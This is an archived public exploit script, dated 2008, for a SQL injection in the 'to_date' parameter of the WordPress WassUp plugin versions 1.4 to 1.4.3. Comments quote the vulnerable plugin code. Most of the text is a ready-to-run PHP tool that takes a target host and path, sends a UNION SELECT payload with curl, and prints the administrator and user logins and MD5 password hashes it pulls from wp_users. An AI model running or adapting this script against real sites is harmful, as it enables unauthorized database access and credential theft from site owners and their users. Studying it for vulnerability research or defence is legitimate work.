WordPress Plugin WassUp 1.4.3 - 'to_date' SQL Injection

<?
# WordPress WassUp plugin v 1.4.3 Sql Injection Exploit
#
# Plugin Homepage-http://www.wpwp.org/
#
# Found by:enter_the_dragon
#
# Tested successfully on v 1.4-1.4.3
# (lower versions are possibly vulnerable too just check the source and modify the query as needed)

# Vuln code
#
# -In spy.php
#
# if (isset($_GET['to_date'])) $to_date = htmlentities(strip_tags($_GET['to_date']));
#    ...........
# spyview($from_date,$to_date,$rows);
#
# -In  main.php
#
#  	function spyview ($from_date="",$to_date="",$rows="999") {
#      ...........
#      $qryC = $wpdb->get_results("SELECT id, wassup_id, max(timestamp) as max_timestamp, ip, hostname, searchengine,
#  urlrequested, agent, referrer, spider, username, comment_author FROM $table_name WHERE timestamp BETWEEN $from_date AND
#  $to_date GROUP BY id ORDER BY max_timestamp DESC");
#

# Exploit
#
# $from_date and $to_date GET variables used in an sql query without being properly filtered so we can inject sql code
# using a query like ./spy.php?to_date=-1 group by id union select 1,2,3,4,5,6,7,8,9,10,11,12 from table
#
# If exploit is successful Wordpress administrator and users logins and md5 hashed passwords are retrieved
#
#




echo "\n";
echo "------WordPress WassUp plugin v 1.4.3 Sql Injection Exploit-------"."\n";
echo "-------------------coded by : enter_the_dragon--------------------"."\n";
echo "------------------------------------------------------------------"."\n";
if ($argc!=3)
{
echo " Usage:	$argv[0] target_host wp_path \n";
echo " target_host:	Your target ex www.target.com \n";
echo " wp_path:	WordPress path ex /blog/ or / if wordpress is installed in the web servers root folder";
echo "\n";
exit;
}


$query=$argv[1];
$query.=$argv[2];
$query.="wp-content/plugins/wassup/spy.php?";
$query.="to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users";


if(function_exists(curl_init))
{
  $ch = curl_init("http://$query");
  curl_setopt($ch, CURLOPT_HEADER,true);
  curl_setopt( $ch, CURLOPT_RETURNTRANSFER,true);
  curl_setopt($ch, CURLOPT_TIMEOUT,10);
  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)");
  $html=curl_exec($ch);
  $returncode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
  curl_close($ch);
  if ($returncode==404) exit ("Vulnerable script isnt there....Check your path :| \n");

  $pattern="/\|(.*)?\|([a-z0-9]{32})\|/";
  if(preg_match_all($pattern,$html,$matches))
    {
     $usernames=$matches[1];
     $userpasses=$matches[2];
     for($i=0;$i<count($usernames);$i++)
	{
	   echo "User Login:$usernames[$i]\n" ;
     	   echo "User Pass :$userpasses[$i]\n\n";
	}
     }

	else
     {
	exit ("Exploit Failed :( \n");
     }


}
else
exit("Error:Libcurl isnt installed \n");

?>

# milw0rm.com [2008-01-30]